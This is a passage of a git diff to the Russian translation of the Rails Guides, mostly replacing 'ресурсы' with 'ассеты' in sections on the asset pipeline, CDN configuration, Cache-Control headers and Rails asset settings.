прекомпилировать локально, держать эти файлы в рабочей ветке и при необходимости фиксировать в системе контроля версий. Режим development будет работать так, как от от него ожидается. ### Компиляция в реальном времени -В некоторых обстоятельствах вам, возможно, захочется использовать компиляцию в реальном времени. В этом режиме все запросы для ресурсов в файлопроводе обрабатываются непосредственно Sprockets. +В некоторых обстоятельствах, возможно, необходимо использовать компиляцию в реальном времени. В этом режиме все запросы для ассетов в файлопроводе обрабатываются непосредственно Sprockets. Чтобы включить эту опцию, установите: @@ -576,9 +576,9 @@ config.assets.prefix = "/dev-assets" config.assets.compile = true ``` -При первом запросе ресурсы компилируются и кэшируются так, как описывалось в разделе про [development](#in-development), и имена манифеста, использованного в хелперах, изменяется путем включения хэша SHA256. +При первом запросе ассеты компилируются и кэшируются так, как описывалось в разделе про [development](#in-development), и имена манифеста, использованного в хелперах, изменяется путем включения хэша SHA256. -Sprockets также устанавливает HTTP заголовок `Cache-Control` как `max-age=31536000`. Это сигнализирует всем кэшам между вашим сервером и браузером клиента, что это содержимое (отданный файл) может быть закэшировано на 1 год. В результате уменьшается количество запросов для этого ресурса на ваш сервер; есть хороший шанс, что ресурс будет в локальном кэше браузера или в каком-либо промежуточном кэше. +Sprockets также устанавливает HTTP заголовок `Cache-Control` как `max-age=31536000`. Это сигнализирует всем кэшам между вашим сервером и браузером клиента, что это содержимое (отданный файл) может быть закэшировано на 1 год. В результате уменьшается количество запросов для этого ассета на ваш сервер; есть хороший шанс, что ассет будет в локальном кэше браузера или в каком-либо промежуточном кэше. Этот режим использует больше памяти, имеет худшее быстродействие, чем по-умолчанию, и не рекомендуется. @@ -592,22 +592,21 @@ end ### (cdns) CDN -CDN расшифровывается как [Content Delivery Network](https://ru.wikipedia.org/wiki/Content_Delivery_Network), она в основном предназначена для кэширования файлов ресурсов по всему миру, поэтому, когда браузер запрашивает ресурс, кэшированная копия будет географически ближайшая к этому браузеру. Если вы отдаете файлы ресурсов непосредственно от вашего сервера Rails в production, лучшей практикой будет использовать CDN перед вашим приложением. +CDN расшифровывается как [Content Delivery Network](https://ru.wikipedia.org/wiki/Content_Delivery_Network), она в основном предназначена для кэширования ассетов по всему миру, поэтому, когда браузер запрашивает ассет, кэшированная копия будет географически ближайшая к этому браузеру. Если отдавать ассеты непосредственно от сервера Rails в production, лучшей практикой будет использовать CDN перед приложением. -Обычным образцом использования CDN является установка вашего приложения в production как "origin" сервер. Это означает, что когда браузер запрашивает ресурс из CDN, и кэш отсутствует, он возьмет файл с вашего сервера на лету и кэширует его. Например, если вы запустили приложение Rails на `example.com`, и у вас настроен CDN на `mycdnsubdomain.fictional-cdn.com`, то, когда делается запрос к `mycdnsubdomain.fictional-cdn.com/assets/smile.png`, CDN единожды запросит ваш сервер на `example.com/assets/smile.png` и кэширует запрос. Следующий запрос к CDN, пришедший по тому же самому URL, получит кэшированную копию. Когда CDN может отдать ресурс напрямую, он никогда не затронет ваш сервер Rails. Так как ресурс из CDN географически ближайший к браузеру, запрос быстрее, и, так как вашему серверу не нужно тратить время на раздачу ресурсов, он может сфокусироваться на как можно быстром обслуживании кода приложения. +Обычным образцом использования CDN является установка вашего приложения в production как "origin" сервер. Это означает, что когда браузер запрашивает ассет из CDN, и кэш отсутствует, он возьмет файл с вашего сервера на лету и кэширует его. Например, если вы запустили приложение Rails на `example.com`, и у вас настроен CDN на `mycdnsubdomain.fictional-cdn.com`, то, когда делается запрос к `mycdnsubdomain.fictional-cdn.com/assets/smile.png`, CDN единожды запросит ваш сервер на `example.com/assets/smile.png` и кэширует запрос. Следующий запрос к CDN, пришедший по тому же самому URL, получит кэшированную копию. Когда CDN может отдать ассет напрямую, запрос никогда не затронет сервер Rails. Так как ассеты из CDN географически ближе к браузеру, запрос быстрее, и, так как серверу не нужно тратить время на раздачу ассетов, он может сфокусироваться на как можно быстром обслуживании кода приложения. -#### Настройка CDN на раздачу статических ресурсов +#### Настройка CDN на раздачу статических ассетов Для настройки CDN вам нужно, чтобы ваше приложение было запущенно в production в интернете на публично доступном URL, например `example.com`. Далее необходимо зарегистрироваться на сервисе CDN облачного провайдера. После этого необходимо настроить "origin" для CDN, указав ваш сайт `example.com`, по документации провайдера по настройке origin-сервера. -Подготовленный CDN даст определенный поддомен для вашего приложения, такой как `mycdnsubdomain.fictional-cdn.com` (отметьте, что fictional-cdn.com это не существующий провайдер CDN в настоящее время). Теперь, когда есть настроенный сервер CDN, необходимо сообщить браузерам использовать ваш CDN для того, чтобы брать ресурсы оттуда, а не от сервера Rails. Это можно осуществить, настроив Rails, установив ваш CDN в качестве хоста ресурсов, вместо использования относительного пути. Для настройки хоста ресурсов в Rails, необходимо установить `config.action_controller.asset_host` в `config/environments/production.rb`: +Подготовленный CDN даст определенный поддомен для вашего приложения, такой как `mycdnsubdomain.fictional-cdn.com` (отметьте, что fictional-cdn.com это не существующий провайдер CDN в настоящее время). Теперь, когда есть настроенный сервер CDN, необходимо сообщить браузерам использовать ваш CDN для того, чтобы брать ассеты оттуда, а не от сервера Rails. Это можно осуществить, настроив Rails, установив ваш CDN в качестве хоста ассетов, вместо использования относительного пути. Для настройки хоста ассетов в Rails, необходимо установить `config.action_controller.asset_host` в `config/environments/production.rb`: ```ruby config.action_controller.asset_host = 'mycdnsubdomain.fictional-cdn.com' ``` -NOTE: Необходимо предоставить только "host", это поддомен и корневой домен, не нужно указывать протокол или "scheme", такие как `http://` или -`https://`. Когда запрашивается страница, протокол в сгенерированной ссылке на ваш ресурс будет соответствовать тому, какой доступ к странице. +NOTE: Необходимо предоставить только "host", это поддомен и корневой домен, не нужно указывать протокол или "scheme", такие как `http://` или `https://`. Когда запрашивается страница, протокол в сгенерированной ссылке на ассет будет соответствовать тому, какой доступ к странице. Это значение также можно настроить с помощью [переменной среды](https://ru.wikipedia.org/wiki/Переменная_среды), чтобы упростить запуск staging-копий вашего сайта: @@ -617,7 +616,7 @@ config.action_controller.asset_host = ENV['CDN_HOST'] NOTE: Чтобы это работало, вам необходимо установить на сервере `CDN_HOST` значение `mycdnsubdomain.fictional-cdn.com`. -После того, как вы настроили свой сервер и ваш CDN, когда вы отдаете страницу, содержащую ресурс: +После того, как вы настроили свой сервер и ваш CDN, когда вы отдаете страницу, содержащую ассет: ```erb <%= asset_path('smile.png') %> @@ -631,7 +630,7 @@ http://mycdnsubdomain.fictional-cdn.com/assets/smile.png Если на CDN имеется копия `smile.png`, она будет отдана браузеру, и ваш сервер даже не узнает, что она была запрошена. Если на CDN нет копии, он попытается найти ее на "origin" `example.com/assets/smile.png`, а затем сохранить ее для дальнейшего использования. -Если хотите отдавать только некоторые ресурсы из CDN, можно использовать опцию `:host` в хелпере ресурса, переопределяющую значение, установленное в `config.action_controller.asset_host`. +Если хотите отдавать только некоторые ассеты из CDN, можно использовать опцию `:host` в хелпере ассета, переопределяющую значение, установленное в `config.action_controller.asset_host`. ```erb <%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.com' %> @@ -643,7 +642,7 @@ CDN работает, кэшируя содержимое. Если в CDN им ##### Кэширование запросов CDN -Хотя CDN описывается как кэширующий файлы ресурсов, на самом деле он кэширует целые запросы. Они включают тело ресурса, а также его заголовки. Наиболее важным является `Cache-Control`, который сообщает CDN (и браузерам), как кэшировать содержимое. Это означает, что если кто-то запрашивает несуществующий ресурс `/assets/i-dont-exist.png`, и ваше приложение Rails возвращает 404, тогда ваш CDN скорее всего закэширует страницу 404, если присутствует валидный заголовок `Cache-Control`. +Хотя CDN описывается как кэширующий файлы ассетов, на самом деле он кэширует целые запросы. Они включают тело ассета, а также его заголовки. Наиболее важным является `Cache-Control`, который сообщает CDN (и браузерам), как кэшировать содержимое. Это означает, что если кто-то запрашивает несуществующий ассет `/assets/i-dont-exist.png`, и ваше приложение Rails возвращает 404, тогда ваш CDN скорее всего закэширует страницу 404, если присутствует валидный заголовок `Cache-Control`. ##### Отладка заголовков CDN @@ -691,7 +690,7 @@ X-Timer: S1408912125.211638212,VS0,VE0 ##### CDN и заголовок Cache-Control -[Заголовок контроля кэша](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) - это спецификация W3C, описывающая, как может быть закэширован запрос. Когда не используется CDN, браузер использует эту информацию для кэширования содержимого. Это очень полезно для неизменяемых ресурсов, так как браузеру не нужно повторно скачивать CSS или JavaScript сайта при каждом запросе. Как правило, мы хотим, чтобы наш сервер Rails сообщил нашему CDN (и браузеру), что ресурс "public", что означает, что любой кэш может сохранять запрос. Также, мы в основном хотим установить `max-age`, который означает, как долго кэш будет хранить объект до недействительности кэша. Значение `max-age` устанавливается в секундах с максимально возможным значением `31536000`, равным одному году. Это можно сделать в вашем приложении Rails, установив +[Заголовок контроля кэша](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9) - это спецификация W3C, описывающая, как может быть закэширован запрос. Когда не используется CDN, браузер использует эту информацию для кэширования содержимого. Это очень полезно для неизменяемых ассетов, так как браузеру не нужно повторно скачивать CSS или JavaScript сайта при каждом запросе. Как правило, мы хотим, чтобы наш сервер Rails сообщил нашему CDN (и браузеру), что ассет "public", что означает, что любой кэш может сохранять запрос. Также, мы в основном хотим установить `max-age`, который означает, как долго кэш будет хранить объект до недействительности кэша. Значение `max-age` устанавливается в секундах с максимально возможным значением `31536000`, равным одному году. Это можно сделать в вашем приложении Rails, установив ``` config.public_file_server.headers = { @@ -699,11 +698,11 @@ config.public_file_server.headers = { } ``` -Теперь, когда ваше приложение отдает ресурс в production, CDN сохранит ресурс на один год. Так как большинство CDN также кэшируют заголовки запроса, этот `Cache-Control` будет передан всем браузерам, обращающимся к этому ресурсу, и браузер будет знать, что он может хранить этот ресурс очень долго без необходимости повторного запроса. +Теперь, когда ваше приложение отдает ассет в production, CDN сохранит ассет на один год. Так как большинство CDN также кэшируют заголовки запроса, этот `Cache-Control` будет передан всем браузерам, обращающимся к этому ассету, и браузер будет знать, что он может хранить этот ассет очень долго без необходимости повторного запроса. ##### CDN и недействительность кэша, основанного на URL -Большинство CDN кэшируют содержимое ресурса, основываясь на полном URL. Это означает, что запрос к +Большинство CDN кэшируют содержимое ассета, основываясь на полном URL. Это означает, что запрос к ``` http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png @@ -715,7 +714,7 @@ http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png http://mycdnsubdomain.fictional-cdn.com/assets/smile.png ``` -Если хотите установить длительный `max-age` в вашем `Cache-Control` (и делаете так), то убедитесь, что, когда вы изменяете ваши ресурсы, ваш кэш прекращается. Например, при изменении рожицы смайлика в изображении с желтого на синий, вы хотите, чтобы все посетители вашего сайта получили новую синюю рожицу. При использовании CDN с настройкой файлопровода Rails `config.assets.digest`, установленной true по умолчанию, каждый ресурс будет иметь другое имя, если он изменится. Таким образом, вам даже не нужно вручную прекращать любые элементы в вашем кэше. Используя иную технику для уникального имени ресурса, ваши пользователи также получат самый свежий ресурс. +Если хотите установить длительный `max-age` в вашем `Cache-Control` (и делаете так), то убедитесь, что, когда вы изменяете ассеты, ваш кэш прекращается. Например, при изменении рожицы смайлика в изображении с желтого на синий, вы хотите, чтобы все посетители вашего сайта получили новую синюю рожицу. При использовании CDN с настройкой файлопровода Rails `config.assets.digest`, установленной true по умолчанию, каждый ассет будет иметь другое имя, если он изменится. Таким образом, вам даже не нужно вручную прекращать любые элементы в вашем кэше. Используя иную технику для уникального имени ассета, ваши пользователи также получат самый свежий ассет. Настройка файлопровода ---------------------- @@ -750,12 +749,12 @@ config.assets.js_compressor = :uglifier NOTE: Необходим runtime, поддерживаемый [ExecJS](https://github.com/rails/execjs#readme), чтобы использовать `uglifier`. Если используете macOS или Windows, у вас уже имеется JavaScript runtime, установленный в операционной системе. -### Обслуживание сжатой версии ресурсов +### Обслуживание сжатой версии ассетов -По умолчанию будет сгенерирована сжатая версия скомпилированных ресурсов, вместе с несжатой версией ресурсов. Сжатые ресурсы помогают уменьшить передачу данных через канал связи. Это можно настроить, установив флажок `gzip`. +По умолчанию будет сгенерирована сжатая версия скомпилированных ассетов, вместе с несжатой версией ассетов. Сжатые ассеты помогают уменьшить передачу данных через канал связи. Это можно настроить, установив флажок `gzip`. ```ruby -config.assets.gzip = false # отключает генерацию сжатых ресурсов +config.assets.gzip = false # отключает генерацию сжатых ассетов ``` ### Использование собственного компрессора @@ -806,10 +805,10 @@ TIP: За дальнейшими подробностями обращайтес - [Apache](https://tn123.org/mod_xsendfile/) - [NGINX](http://wiki.nginx.org/XSendfile) -Хранилище кэша ресурсов ------------------------ +Хранилище кэша ассетов +---------------------- -По умолчанию Sprockets кэширует ресурсы в `tmp/cache/assets` в development и production. Это может быть изменено следующим образом: +По умолчанию Sprockets кэширует ассеты в `tmp/cache/assets` в development и production. Это может быть изменено следующим образом: ```ruby config.assets.configure do |env| @@ -818,7 +817,7 @@ config.assets.configure do |env| end ``` -Чтобы отключить хранилище кэша ресурсов: +Чтобы отключить хранилище кэша ассетов: ```ruby config.assets.configure do |env| @@ -826,12 +825,12 @@ config.assets.configure do |env| end ``` -Добавление ресурсов в ваши гемы -------------------------------- +Добавление ассетов в ваши гемы +------------------------------ -Ресурсы также могут идти от внешних источников в виде гемов. +Ассеты также могут идти от внешних источников в виде гемов. -Хорошим примером этого является гем `jquery-rails`, поставляющийся вместе с Rails как гем стандартной JavaScript библиотеки. Этот гем содержит класс engine, унаследованный от `Rails::Engine`. Сделав так, Rails становится проинформированным, что директории для этого гема могут содержать ресурсы, и директории `app/assets`, `lib/assets` и `vendor/assets` этого engine добавляются в путь поиска Sprockets. +Хорошим примером этого является гем `jquery-rails`, поставляющийся вместе с Rails как гем стандартной JavaScript библиотеки. Этот гем содержит класс engine, унаследованный от `Rails::Engine`. Сделав так, Rails становится проинформированным, что директории для этого гема могут содержать ассеты, и директории `app/assets`, `lib/assets` и `vendor/assets` этого engine добавляются в путь поиска Sprockets. Создание препроцессора в вашей библиотеке или геме -------------------------------------------------- @@ -855,7 +854,7 @@ Sprockets.register_preprocessor 'text/css', AddComment Обновление со старых версий Rails --------------------------------- -Имеется несколько проблем при обновлении c Rails 3.0 или Rails 2.x. Первая — это перемещение файлов из `public/` в новые места размещения. Смотрите [Организация ресурсов](#how-to-use-the-asset-pipeline) ранее в руководстве для правильного размещения файлов разных типов. +Имеется несколько проблем при обновлении c Rails 3.0 или Rails 2.x. Первая — это перемещение файлов из `public/` в новые места размещения. Смотрите [Организация ассетов](#how-to-use-the-asset-pipeline) ранее в руководстве для правильного размещения файлов разных типов. Следующей является необходимость избегать дублирования файлов JavaScript. Так как jQuery является библиотекой JavaScript по умолчанию, начиная с Rails 3.1 и далее, не нужно копировать `jquery.js` в `app/assets`, он будет включен автоматически. @@ -864,17 +863,16 @@ Sprockets.register_preprocessor 'text/css', AddComment В `application.rb`: ```ruby -# Версия ваших ресурсов, измените ее, если хотите, чтобы срок существующих ресурсов истек +# Версия ассетов, измените ее, если хотите, чтобы срок существующих ассетов истек config.assets.version = '1.0' -# Измените путь, откуда отдаются ресурсы -# config.assets.prefix = "/assets" +# Измените путь, откуда отдаются ассеты для config.assets.prefix = "/assets" ``` В `development.rb`: ```ruby -# Разворачивать строки, загружающие ресурсы the lines which load the assets +# Разворачивать строки, загружающие ассеты config.assets.debug = true ``` @@ -882,16 +880,16 @@ config.assets.debug = true ```ruby # Выбрать используемый компрессор (если имеется) -# config.assets.js_compressor = :uglifier +config.assets.js_compressor = :uglifier # config.assets.css_compressor = :yui -# Не обращаться к файлопроводу, если отсутствует прекомпилированный ресурс +# Не обращаться к файлопроводу, если отсутствует прекомпилированный ассет config.assets.compile = false -# Генерировать дайджесты для URL ресурсов. +# Генерировать дайджесты для URL ассетов. config.assets.digest = true -# Прекомпилировать дополнительные ресурсы (application.js, application.css и все +# Прекомпилировать дополнительные ассеты (application.js, application.css и все # не-JS/CSS уже добавлены) # config.assets.precompile `= %w( admin.js admin.css ) ``` diff --git a/source/command_line.md b/source/command_line.md index c2606dfb..2e20a072 100644 --- a/source/command_line.md +++ b/source/command_line.md @@ -435,7 +435,7 @@ Database schema version 20110805173523 ### `assets` -Можно предварительно компилировать ресурсы (ассеты) в `app/assets`, используя `bin/rails assets:precompile`, и удалять эти скомпилированные ресурсы, используя `bin/rails assets:clean`. Задача `assets:clean` позволяет откатывать деплои, которые все еще могут быть связаны со старыми ресурсами, в то время как создаются новые ресурсы. +Можно предварительно компилировать ассеты в `app/assets`, используя `bin/rails assets:precompile`, и удалять эти скомпилированные ассеты, используя `bin/rails assets:clean`. Задача `assets:clean` позволяет откатывать деплои, которые все еще могут быть связаны со старыми ассетами, в то время как создаются новые ассеты. Если хотите полностью очистить `public/assets`, можно использовать `bin/rails assets:clobber`. diff --git a/source/configuring.md b/source/configuring.md index 368ffba9..5903238a 100644 --- a/source/configuring.md +++ b/source/configuring.md @@ -54,7 +54,7 @@ Rails будет использовать эту конкретную настр end ``` -* `config.asset_host` устанавливает хост для ресурсов (ассетов). Полезна, когда для хостинга ресурсов используются CDN, или когда вы хотите обойти встроенную в браузеры политику ограничения домена при использовании различных псевдонимов доменов. Укороченная версия `config.action_controller.asset_host`. +* `config.asset_host` устанавливает хост для ассетов. Полезна, когда для хостинга ассетов используются CDN, или когда вы хотите обойти встроенную в браузеры политику ограничения домена при использовании различных псевдонимов доменов. Укороченная версия `config.action_controller.asset_host`. * `config.autoload_once_paths` принимает массив путей, по которым Rails будет загружать константы, не стирающиеся между запросами. Уместна, если `config.cache_classes` является `false`, что является в режиме development по умолчанию. В противном случае все автозагрузки происходят только раз. Все элементы этого массива также должны быть в `autoload_paths`. По умолчанию пустой массив. @@ -132,7 +132,7 @@ Rails будет использовать эту конкретную настр * `secrets.secret_key_base` используется для определения ключа, позволяющего сессиям приложения быть верифицированными по известному ключу безопасности, чтобы избежать подделки. Приложения получают случайные ключи `secrets.secret_key_base` в `config/secrets.yml`. -+* `config.public_file_server.enabled` конфигурирует Rails на обслуживание статичных файлов из директории public. Эта опция по умолчанию `true`, но в среде production устанавливается `false`, так как серверные программы (например, NGINX или Apache), используемые для запуска приложения, должны обслуживать статичные ресурсы вместо Rails. Если запускаете или тестируете приложение в среде production с помощью WEBrick (не рекомендуется использовать WEBrick в production), установите эту опцию в `true`. В противном случае нельзя воспользоваться кэшированием страниц и запросами файлов, существующих в директории public. +* `config.public_file_server.enabled` конфигурирует Rails на обслуживание статичных файлов из директории public. Эта опция по умолчанию `true`, но в среде production устанавливается `false`, так как серверные программы (например, NGINX или Apache), используемые для запуска приложения, должны обслуживать статичные ресурсы вместо Rails. Если запускаете или тестируете приложение в среде production с помощью WEBrick (не рекомендуется использовать WEBrick в production), установите эту опцию в `true`. В противном случае нельзя воспользоваться кэшированием страниц и запросами файлов, существующих в директории public. * `config.session_store` определяет, какой класс использовать для хранения сессии. Возможные значения `:cookie_store`, которое по умолчанию, `:mem_cache_store` и `:disabled`. Последнее говорит Rails не связываться с сессиями. По умолчанию равно хранилищу куки с именем приложения в качестве ключа сессии. Произвольные хранилища сессии также могут быть определены: @@ -144,7 +144,7 @@ Rails будет использовать эту конкретную настр * `config.time_zone` устанавливает временную зону по умолчанию для приложения и включает понимание временных зон для Active Record. -### Настройка ресурсов (ассетов) +### Настройка ассетов * `config.assets.enabled` это флажок, контролирующий, будет ли включен файлопровод (asset pipeline). По умолчанию он устанавливается `true`. @@ -152,30 +152,29 @@ Rails будет использовать эту конкретную настр * `config.assets.js_compressor` определяет используемый компрессор JavaScript. Возможные варианты `:closure`, `:uglifier` и `:yui` требуют использование гемов `closure-compiler`, `uglifier` или `yui-compressor` соответственно. -* `config.assets.gzip` флажок, включающий создание сжатых версий скомпилированных ресурсов вместе с несжатыми ресурсами. По умолчанию установлено `true`. +* `config.assets.gzip` флажок, включающий создание сжатых версий скомпилированных ассетов вместе с несжатыми ассетами. По умолчанию установлено `true`. -* `config.assets.paths` содержит пути, используемые для поиска ресурсов. Присоединение путей к этой конфигурационной опции приведет к тому, что -эти пути будут использованы в поиске ресурсов. +* `config.assets.paths` содержит пути, используемые для поиска ассетов. Присоединение путей к этой конфигурационной опции приведет к тому, что эти пути будут использованы в поиске ассетов. -* `config.assets.precompile` позволяет определить дополнительные ресурсы (иные, чем `application.css` и `application.js`), которые будут предварительно компилированы при запуске `rake assets:precompile`. +* `config.assets.precompile` позволяет определить дополнительные ассеты (иные, чем `application.css` и `application.js`), которые будут предварительно компилированы при запуске `rake assets:precompile`. -* `config.assets.unknown_asset_fallback` позволяет изменить поведение файлопровода когда ресурс не в нем, если вы используете sprockets-rails 3.2.0 или новее. По умолчанию `true`. +* `config.assets.unknown_asset_fallback` позволяет изменить поведение файлопровода, когда ассет не в нем, если вы используете sprockets-rails 3.2.0 или новее. По умолчанию `true`. -* `config.assets.prefix` определяет префикс из которого будут обслуживаться ресурсы. По умолчанию `/assets`. +* `config.assets.prefix` определяет префикс из которого будут обслуживаться ассеты. По умолчанию `/assets`. -* `config.assets.manifest` определяет полный путь для использования файлом манифеста прекомпилятора ресурсов. По умолчанию файл называется `manifest-.json` в директории `config.assets.prefix` в папке public. +* `config.assets.manifest` определяет полный путь для использования файлом манифеста прекомпилятора ассетов. По умолчанию файл называется `manifest-.json` в директории `config.assets.prefix` в папке public. -* `config.assets.digest` включает использование меток SHA256 в именах файлов. Установлено по умолчанию `true`. +* `config.assets.digest` включает использование меток SHA256 в именах ассетов. Установлено по умолчанию `true`. -* `config.assets.debug` отключает слияние и сжатие ресурсов. Установлено по умолчанию `true` в `development.rb`. +* `config.assets.debug` отключает слияние и сжатие ассетов. Установлено по умолчанию `true` в `development.rb`. * `config.assets.version` опция, используемая в генерации хэша SHA256. Ее можно использовать чтобы принудительно перекомпилировать все файлы. * `config.assets.compile` - булево значение, используемое для включения компиляции Sprockets на лету в production. -* `config.assets.logger` принимает логгер, соответствующий интерфейсу Log4r, или дефолтный Ruby класс `Logger`. По умолчанию такой же, как указан в `config.logger`. Установка `config.assets.logger` в `false` отключает логирование сжатых ресурсов. +* `config.assets.logger` принимает логгер, соответствующий интерфейсу Log4r, или дефолтный Ruby класс `Logger`. По умолчанию такой же, как указан в `config.logger`. Установка `config.assets.logger` в `false` отключает логирование сжатых ассетов. -* `config.assets.quiet` отключает логирование запросов к ресурсам. Установлено `true` по умолчанию в `development.rb`. +* `config.assets.quiet` отключает логирование запросов к ассетам. Установлено `true` по умолчанию в `development.rb`. ### Конфигурирование генераторов @@ -190,7 +189,7 @@ end Полный перечень методов, которые можно использовать в этом блоке, следующий: -* `assets` позволяет создавать ресурсы при генерации скаффолда. По умолчанию `true`. +* `assets` позволяет создавать ассеты при генерации скаффолда. По умолчанию `true`. * `force_plural` позволяет имена моделей во множественном числе. По умолчанию `false`. @@ -200,7 +199,7 @@ end * `javascripts` включает в генераторах хук для файлов Javascript. Используется в Rails при запуске генератора `scaffold`. По умолчанию `true`. -* `javascript_engine` конфигурирует используемый движок (например, coffee) при генерации ресурсов. По умолчанию `js`. +* `javascript_engine` конфигурирует используемый движок (например, coffee) при генерации ассетов. По умолчанию `js`. * `orm` определяет используемую orm. По умолчанию `false` и используется Active Record. @@ -212,7 +211,7 @@ end * `stylesheets` включает в генераторах хук для таблиц стилей. Используется в Rails при запуске генератора `scaffold` , но этот хук также может использоваться в других генераторах. По умолчанию `true`. -* `stylesheet_engine` конфигурирует используемый при генерации ресурсов движок CSS (например, sass). По умолчанию `:css`. +* `stylesheet_engine` конфигурирует используемый при генерации ассетов движок CSS (например, sass). По умолчанию `:css`. * `scaffold_stylesheet` создает `scaffold.css` при генерации скаффолдингового ресурса. По умолчанию `true`. @@ -226,7 +225,7 @@ end * `ActionDispatch::SSL` принуждает каждый запрос быть обслуженным с помощью HTTPS. Включен, если `config.force_ssl` установлена `true`. Передаваемые сюда опции могут быть настроены с помощью `config.ssl_options`. -* `ActionDispatch::Static` используется для обслуживания статичных ресурсов (ассетов). Отключено если `config.public_file_server.enabled` равна `false`. Установите `config.public_file_server.index_name` если вам нужно обслуживать индексный файл статичной директории, который называется не `index`. Например, для обслуживания `main.html` вместо `index.html` для запросов, установите `config.public_file_server.index_name` в `"main"`. +* `ActionDispatch::Static` используется для обслуживания статичных ассетов. Отключено, если `config.public_file_server.enabled` равна `false`. Установите `config.public_file_server.index_name` если вам нужно обслуживать индексный файл статичной директории, который называется не `index`. Например, для обслуживания `main.html` вместо `index.html` для запросов, установите `config.public_file_server.index_name` в `"main"`. * `ActionDispatch::Executor` позволяет тредобезопасную перезагрузку кода. Отключено, если `config.allow_concurrency` установлена `false`, что загружает `Rack::Lock`. `Rack::Lock` оборачивает приложение в mutex, таким образом оно может быть вызвано только в одном треде одновременно. @@ -401,7 +400,7 @@ config.middleware.delete Rack::MethodOverride `config.action_controller` включает несколько конфигурационных настроек: -* `config.action_controller.asset_host` устанавливает хост для ресурсов. Полезна, когда для хостинга ресурсов используются CDN, или когда вы хотите обойти встроенную в браузеры политику ограничения домена при использовании различных псевдонимов доменов. +* `config.action_controller.asset_host` устанавливает хост для ассетов. Полезна, когда для хостинга ассетов используются CDN, или когда вы хотите обойти встроенную в браузеры политику ограничения домена при использовании различных псевдонимов доменов. * `config.action_controller.perform_caching` конфигурирует, должно ли приложение выполнять возможность кэширования, предоставленную компонентом Action Controller. Установлено `false` в режиме development, `true` в production. diff --git a/source/getting_started.md b/source/getting_started.md index 43df4e90..8c53c5e1 100644 --- a/source/getting_started.md +++ b/source/getting_started.md @@ -110,7 +110,7 @@ $ cd blog | Файл/Папка | Назначение | | ----------------------| ---------- | -|app/ |Содержит контроллеры, модели, вьюхи, хелперы, рассыльщики, каналы, задания и ресурсы вашего приложения. Мы рассмотрим эту папку подробнее далее.| +|app/ |Содержит контроллеры, модели, вьюхи, хелперы, рассыльщики, каналы, задания и ассеты вашего приложения. Мы рассмотрим эту папку подробнее далее.| |bin/ |Содержит Rails скрипты которые стартуют ваше приложение, также директория может содержать другие скрипты которые вы используете для настройки, обновления, деплоя или запуска.| |config/ |Конфигурации маршрутов, базы данных вашего приложения, и т.д. Более подробно это раскрыто в [Конфигурирование приложений на Rails](/configuring-rails-applications)| |config.ru |Конфигурация Rack для серверов, основанных на Rack, используемых для запуска приложения.| @@ -118,7 +118,7 @@ $ cd blog |Gemfile
    Gemfile.lock|Эти файлы позволяют указать, какие зависимости от гемов нужны для вашего приложения на Rails. Эти файлы используются гемом Bundler. Подробнее о Bundler смотрите на [сайте Bundler](http://bundler.io)| |lib/ |Внешние модули для вашего приложения.| |log/ |Файлы логов приложения.| -|public/ |Единственная папка, которая доступна извне как есть. Содержит статичные файлы и скомпилированные ресурсы.| +|public/ |Единственная папка, которая доступна извне как есть. Содержит статичные файлы и скомпилированные ассеты.| |Rakefile |Этот файл содержит набор команд, которые могут быть запущены в командной строке. Определения команд производятся во всех компонентах Rails. Вместо изменения Rakefile, вы можете добавить свои собственные задачи, добавив файлы в директорию lib/tasks вашего приложения.| |README.md |Это вводный мануал для вашего приложения. Его следует отредактировать, чтобы рассказать остальным, что ваше приложение делает, как его настроить, и т.п.| |test/ |Юнит-тесты, фикстуры и прочий аппарат тестирования. Это раскрывается в руководстве [Тестирование приложений на Rails](/a-guide-to-testing-rails-applications)| @@ -141,7 +141,7 @@ $ bin/rails server TIP: Если вы используете Windows, вы должны передавать скрипты из папки `bin` непосредственно в интерпретатор Ruby, то есть `ruby bin\rails server`. -TIP: Компилирование CoffeeScript и сжатие файлов JavaScript требует среды выполнения JavaScript в вашей системе, и его отсутствие приведет к ошибке `execjs` во время компиляции. Обычно macOS и Windows поставляются с установленной средой выполнения JavaScript. Rails добавляет гем `mini_racer` в генерируемый `Gemfile` нового приложения в закомментированной строке, если нужно, можете ее раскомментировать. `therubyrhino` - рекомендованная среда выполнения для пользователей JRuby, она добавляется в `Gemfile`, если приложение генерируется под JRuby. Можно узнать все о поддерживаемых средах выполнения в [ExecJS](https://github.com/rails/execjs#readme) +TIP: Компилирование CoffeeScript и сжатие ассетов JavaScript требует среды выполнения JavaScript в вашей системе, и его отсутствие приведет к ошибке `execjs` во время компиляции ассетов. Обычно macOS и Windows поставляются с установленной средой выполнения JavaScript. Rails добавляет гем `mini_racer` в генерируемый `Gemfile` нового приложения в закомментированной строке, если нужно, можете ее раскомментировать. `therubyrhino` - рекомендованная среда выполнения для пользователей JRuby, она добавляется в `Gemfile`, если приложение генерируется под JRuby. Можно узнать все о поддерживаемых средах выполнения в [ExecJS](https://github.com/rails/execjs#readme) Это запустит Puma, веб-сервер, распространяющийся с Rails по умолчанию. Чтобы увидеть приложение в действии, откройте окно браузера и пройдите по адресу . Вы должны увидеть дефолтную информационную страницу Rails: diff --git a/source/i18n.md b/source/i18n.md index 45f84e9e..d907aaf9 100644 --- a/source/i18n.md +++ b/source/i18n.md @@ -516,7 +516,7 @@ Rails позволяет определить правила словообра ### Локализованные вьюхи -Скажем, у вас в приложении есть _BooksController_. Экшн _index_ рендерит содержимое в шаблоне `app/views/books/index.html.erb`. Когда вы помещаете _локализованный вариант_ этого шаблона: **`index.es.html.erb`** в ту же директорию, Rails будет рендерить содержимое в этот шаблон, когда локаль будет установлена как `:es`. Когда будет установлена локаль по умолчанию, будет использована обычная вьюха `index.html.erb`. (Будущие версии Rails, возможно, перенесут эту возможность _автоматической_ локализации на файлы в `public`, и т.д.) +Скажем, у вас в приложении есть _BooksController_. Экшн _index_ рендерит содержимое в шаблоне `app/views/books/index.html.erb`. Когда вы помещаете _локализованный вариант_ этого шаблона: **`index.es.html.erb`** в ту же директорию, Rails будет рендерить содержимое в этот шаблон, когда локаль будет установлена как `:es`. Когда будет установлена локаль по умолчанию, будет использована обычная вьюха `index.html.erb`. (Будущие версии Rails, возможно, перенесут эту возможность _автоматической_ локализации ассетов в `public`, и т.д.) Можете использовать эту 